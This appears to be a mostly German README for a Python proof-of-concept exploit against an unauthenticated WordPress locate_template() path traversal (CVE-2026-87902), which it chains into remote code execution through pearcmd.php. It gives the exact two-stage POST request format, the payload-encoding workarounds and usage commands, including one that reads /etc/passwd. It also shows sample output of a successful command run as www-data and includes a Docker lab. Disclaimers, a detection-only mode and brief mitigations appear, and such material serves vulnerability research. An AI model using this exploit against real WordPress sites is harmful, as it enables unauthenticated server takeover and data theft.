Python-PoC, das CVE-2026-87902 ausnutzt, einen unauthentifizierten Path Traversal in WordPress locate_template(), der zu LFI und PEAR-basierter RCE führt, mit sicherem Erkennungsmodus.
Exploit-Datei: exploit_locate_template_rce.py —
Python 3.6+ (nur stdlib).
Pipeline in einem einzigen Befehl: sichere Erkennung (LFI-Differential, ohne Schreiben) →,
falls verwundbar, RCE über das Gadget pearcmd.php, das den Befehl Ihrer Wahl ausführt
(--command/-c). Verwenden Sie --validate-only, um vor der Schreibphase zu stoppen.
Testet CVE-2026-87902 in WordPress-Versionen
ohne den Fix des Commits 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, Backports bis 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Betroffen | WordPress 4.7.0 – 7.1.1 (alle Branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix-Commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (Merge des Changesets 63792) |
| Dateien | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Authentifizierung | Keine — kein Benutzer, Cookie, Nonce oder Plugin |
| Credits | Entdeckung und Disclosure: Robert Ressl |
⚠️ Nur für autorisierte Tests. Verwenden Sie es in Umgebungen, die Sie kontrollieren (das folgende Lab ist isoliert) oder mit ausdrücklicher Genehmigung des Eigentümers.
In Versionen ohne den Fix stellt die Verkettung get_page_template() → locate_template() →
template-loader niemals sicher, dass das ausgewählte Template innerhalb des Themes bleibt.
Vor dem Fix (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Nach dem Fix (Commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename und page_id sind öffentliche Query-Vars — akzeptiert im Body eines anonymen POST.
Die POST-Methode lässt redirect_canonical() (canonical.php) früh zurückkehren — es wirkt nur
bei GET/HEAD, also wird nichts umgeleitet.templates%252f%252e%252e%252f...) und übersteht das
Sanitizing: WP_Query::get_posts() (Z.2191) schreibt den pagename mit
sanitize_title_for_query( wp_basename( ... ) ) um — wp_basename() bricht nicht bei %2F
(formatting.php Z.5768) und das Sanitizing bewahrt %XX-Oktette (Z.2395).page_id (Z.2252) überschreibt das WHERE ("$where =", nicht ".=") — die echte Seite
wird geladen, kein 404, und der bösartige pagename bleibt im Query-Objekt.get_page_template() führt ein spätes urldecode() aus und baut page-<traversal>.php
ohne validate_file().locate_template() ruft vor dem Patch nur file_exists() auf → der Include entkommt aus dem Theme.| # | Voraussetzung | Grund |
|---|---|---|
| 1 | Veröffentlichte Seite, anonym zugänglich, über page_id auswählbar und ohne custom template | Die Anfrage muss zu einer Page aufgelöst werden; ein custom template käme früher in der Hierarchie |
| 2 | Top-Level-Verzeichnis im aktiven Theme (Child oder Parent), das mit page- beginnt (z. B. page-templates/) | WP stellt das feste Präfix page- voran; darüber gelangt der Traversal hinein. Es genügt, dass es existiert und traversierbar ist (kann leer sein). Vorhanden in Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Lokales .php-Ziel existiert und ist lesbar | Der Loader hängt .php an und prüft is_file()/is_readable() |
| 4 | (nur für RCE) pearcmd.php lesbar + register_argc_argv=On + beschreibbares Verzeichnis (z. B. /tmp) | PEAR→RCE-Route: config-create schreibt die PHP-Payload auf den Server |
Drei anonyme POSTs gegen die veröffentlichte Seite — ohne Schreiben auf die Festplatte:
| Anfrage | pagename | Erwartete Antwort (verwundbar) |
|---|---|---|
| A — Baseline | — | 200, normaler Body (~23 KB) |
| B — Kontrolle | Traversal → nicht existierende Datei | 200, normaler Body (Fallback page.php) |
| C — Probe | Traversal → wp-content/index.php ("Silence is golden") | 200 mit leerem Body |
Signatur: C leer + A/B normal ⇒ der Include ist aus dem Theme entkommen ⇒ VERWUNDBAR.
Die Erkennung durchsucht automatisch: Kandidaten-Theme-Verzeichnisse
(page-templates, page-template) × Tiefen 1–12.
Das Ergebnis (theme-dir + depth) speist die RCE-Stufe.
Mit --validate-only stoppt das Skript hier (Exit 0, falls verwundbar).
pearcmd.php (Schreiben)Stufe 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ der Traversal inkludiert /usr/local/lib/php/pearcmd.php
→ argv kommt aus dem rohen Query-String (register_argc_argv=On)
→ config-create SCHREIBT die Payload nach /tmp/wp-pear-rce.php (12 serialisierte Kopien)
Stufe 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ derselbe Traversal inkludiert die erzeugte Datei → system(<--command>) läuft als www-data
Formatdetails (alle Einschränkungen werden vom Skript behandelt):
page_id + pagename; der Query-String trägt
ausschließlich das argv von PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php Z.1290) wendet
add_magic_quotes($_SERVER) an und pearcmd liest das argv aus $_SERVER['argv'] — jedes
Anführungszeichen würde zu \' werden und die erzeugte Datei beschädigen. Jeder PHP-String wird zu
chr()-Verkettung: '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): Die rohen Bytes +, <, > des Query-Strings
sind das argv — nichts darf auf dem Weg neu geschrieben/neu kodiert werden.config-create erfordert einen absoluten Root-Pfad — die Payload wird als der Root selbst
injiziert (/<php>), präfixiert mit dem Marker ___WP_RCE_OK___, der die Ausgabe abgrenzt.pearcmd.php (offizielles Docker, Debian/Ubuntu, XAMPP) — bei Bedarf mit
--pear-path/--output anpassen.Es gibt keinen "Upload": Das Ziel der Erkennung ist eine Datei, die jedes WordPress von Werk aus
mitbringt (wp-content/index.php); die RCE-Payload wird vom Server selbst über das
PEAR-Gadget geschrieben, das als www-data läuft.
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose
| Parameter | Default | Beschreibung |
|---|---|---|
--url, -u | (obligatorisch) | Basis-URL von WordPress |
--command, -c | id | Auf dem Ziel ausgeführter Shell-Befehl (ignoriert mit --validate-only) |
--validate-only | off | Validiert nur die Schwachstelle (LFI, stoppt vor RCE/Schreiben) |
--page-id | auto (REST, Fallback-Probe) | ID einer veröffentlichten Seite ohne custom template |
--theme-dir | versucht page-templates, page-template | Top-Level-Verzeichnis des Themes, das mit page- beginnt |
--probe-target | index | Ziel der Erkennungs-Probe, ohne .php (index → wp-content/index.php) |
--depth | 0 (durchsucht 1–12) | Anzahl der ../-Segmente |
--pear-path | versucht interne Liste | pearcmd.php der RCE-Stufe, ohne .php (Docker, Debian, XAMPP) |
--output | /tmp/wp-pear-rce | Beschreibbares Ziel der PEAR-Payload, ohne .php |
--timeout | 20 | Timeout pro Anfrage (s) |
--insecure | off | TLS-Zertifikat nicht prüfen |
--verbose | off | Ausführliche Ausgabe pro Versuch |
[*] alvo : http://127.0.0.1:8080
[*] comando : 'id'
[*] versão WP : 7.1.1 (<= 7.1.1 => potencialmente afetada)
[*] page id : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir : page-templates
[+] depth : 3
[+] traversal : page-templates/../../../index.php
[+] VULNERÁVEL : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo : RCE (2 estágios via pearcmd.php)
[+] theme dir : page-templates
[+] depth : 7
[+] pearcmd : /usr/local/lib/php/pearcmd.php
[+] payload file : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando : 'id'
[+] saída :
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web
Exit-Codes: 0 = erfolgreich validiert/RCE · 1 = nicht bestätigt/fehlgeschlagen ·
2 = Fehler (z. B. keine veröffentlichte Seite gefunden). Dient als Regressionstest:
Bei WordPress ≥ 7.1.2 ist die Probe nie leer und gibt 1 zurück.
Verwendetes Lab: docker-compose.yml.
services:
db:
image: mariadb:11
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wp_user
MYSQL_PASSWORD: wp_pass
MYSQL_ROOT_PASSWORD: root_pass
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:7.1.1-php8.3-apache # PINADA — a rolling baixa 7.1.2+ (patcheada!)
depends_on:
- db
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wp_user
WORDPRESS_DB_PASSWORD: wp_pass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_data:/var/www/html
# fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
- ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates
volumes:
db_data:
wp_data:
docker compose up -d
# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
-e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
-e WORDPRESS_DB_NAME=wordpress `
wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
--admin_user=admin --admin_password=adminadmin [email protected] --skip-email
# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"
# Teardown
docker compose down -v
Warum jeder Baustein wichtig ist:
7.1.1-php8.3: muss < 7.1.2 und php8.3 sein — unter PHP 8.5 ist
register_argc_argv standardmäßig Off in der HTTP-SAPI und PEAR wurde aus der Distribution
entfernt, daher funktioniert die RCE-Stufe nicht (die LFI-Erkennung funktioniert).wordpress:php8.3-apache lädt heute 7.1.2+ (gepatcht) herunter und
der Exploit schlägt korrekt fehl.wp_data persistiert den Core; ein Tag-Wechsel
erfordert docker compose down -v, damit der Entrypoint die Dateien des neuen Images neu kopiert.page-templates/ (Fixture): Standard-Themes (Twenty Twenty-*) haben kein page-*-Verzeichnis
— ohne es wird das feste Präfix page- nie aufgelöst und keine Tiefe funktioniert.
Alternative zum Bind Mount: command: > mit
sh -c "mkdir -p .../page-templates && exec apache2-foreground".register_argc_argv=On: Das offizielle Image lädt keine Web-php.ini, daher gilt der
kompilierte Default (On in php8.3). Prüfen: docker exec <c> php -i | grep argc.page-templates/ → 3×.. → wp-content/);
PEAR trifft bei 7 (→ / → /usr/local/lib/php/pearcmd.php).page-*, Seite mit custom template,
open_basedir, WAF/Proxy blockiert den Traversal, ungültige page_id).register_argc_argv=Off
für Web-SAPIs; lesbares pearcmd.php in Produktion entfernen; Themes auf
Top-Level-page-*-Verzeichnisse prüfen; in Logs auf pagename mit %252f/%252e
(doppelt kodiert) alarmieren..php-Datei kann
Ziel des LFI sein (Erkennung über --probe-target).5fde0bb7b9775523959094bf280cc54bfa78af51 — Changeset 63792Dieses Material wird ausschließlich für autorisierte Sicherheitsforschung und -tests bereitgestellt. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung des Eigentümers ist illegal. Der Exploit wurde ausschließlich in einem isolierten lokalen Labor entwickelt und verifiziert.